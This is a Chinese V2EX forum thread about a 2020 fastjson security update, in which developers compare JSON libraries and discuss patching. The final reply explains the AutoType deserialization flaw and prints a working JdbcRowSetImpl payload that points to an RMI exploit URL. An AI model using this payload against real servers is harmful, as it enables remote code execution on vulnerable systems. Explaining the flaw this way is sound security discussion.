fastjson 又爆 bug 了!快来看看是否受影响

2020-06-01 09:45:40 +08:00
 qqqccc

https://github.com/alibaba/fastjson/wiki/security_update_20200601

是否对你的业务有影响呢?

14489 次点击
所在节点    程序员
78 条回复
zhuzeitou
2020-06-01 17:12:29 +08:00
@sagaxu JakeWharton 最近的推上有说,gson 基本属于弃坑,2/3 的开发者参与了 moshi 开发,moshi 可以认为是 gson3
onikage
2020-06-01 17:30:04 +08:00
@murmur
client 和 server 端都在我们自己手里, 可以控制, 中间过了一道 http 的第三方的服务. 问题是这个服务输入输出不一致...
不过这个第三方服务不出错.
onikage
2020-06-01 17:32:32 +08:00
@wobuhuicode
问题是中间过的第三方服务做的, 我们自己的 client 和 server 用 http 直连测过以后再连人家服务发现这个问题的.
wzw
2020-06-01 17:46:21 +08:00
我用 msgpack……不知道怎么样
ZSeptember
2020-06-01 17:50:05 +08:00
@stormsuncc 不知道你是什么心理。都说转 jackson,提出 jackson 也有漏洞,有什么问题?国外的框架有漏洞不让说?
LostPrayers
2020-06-01 18:07:47 +08:00
没有高级反序列化,就没有伤害
zzNucker
2020-06-01 20:56:05 +08:00
@ZSeptember 他都说了人家房子完好,说明是选择性失明+失智

没啥好说的啦
Loyelee
2020-06-01 22:24:20 +08:00
一直用的 gson
qoras
2020-06-01 22:51:53 +08:00
这玩意不报 bug 才不正常
mxalbert1996
2020-06-01 23:11:26 +08:00
back0893
2020-06-01 23:11:45 +08:00
有 bug 不是正常?
youxiachai
2020-06-02 00:29:00 +08:00
有点迷,这算是没关注比有关注强吗。。。。
特别有几位大佬一个劲的批判也不知道为啥。。
wanguorui123
2020-06-02 08:26:55 +08:00
反序列化注入漏洞,年年都报
ConradG
2020-06-02 09:10:00 +08:00
@JasonLaw
因为“产生对象的 class 是自己写的”这句话在某些情况下是不对的。
除了常见的“标准”json 外,还存在“标记了反序列化目标类型“的非标准 json 。json 反序列化的大部分漏洞都是通过更改这类 json 的类型标记,实例化一些敏感类进行攻击。
xuxanwan
2020-06-02 09:51:34 +08:00
在哪里能看到 fastjson 所有历史缺陷,及 jackson 的所有历史缺陷,想坐下选型前的对比。
lcj2class
2020-06-02 13:28:11 +08:00
对性能有要求的,直接上 protobuf 吧
metrxqin
2020-06-02 13:37:40 +08:00
马上就 618 了,现在紧急更新等于找骂。
NewConn
2021-04-01 10:55:33 +08:00
fastjson 有个 AutoType 特性,JSON 中会带类型信息 @type
JSON 字符串反序列化时,会读取 @type 内容,把 JSON 反序列化成这个对象,并且会调用这个类的 setter 方法;
那么就可以利用这个特性,自己构造一个 JSON 字符串,并且使用 @type 指定一个自己想要使用的攻击类库,比如:com.sun.rowset.JdbcRowSetImpl
在 JdbcRowSetImpl 的 dataSourceName 中设置一个想要执行的命令
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
就可以攻击远程数据库

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/677367

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX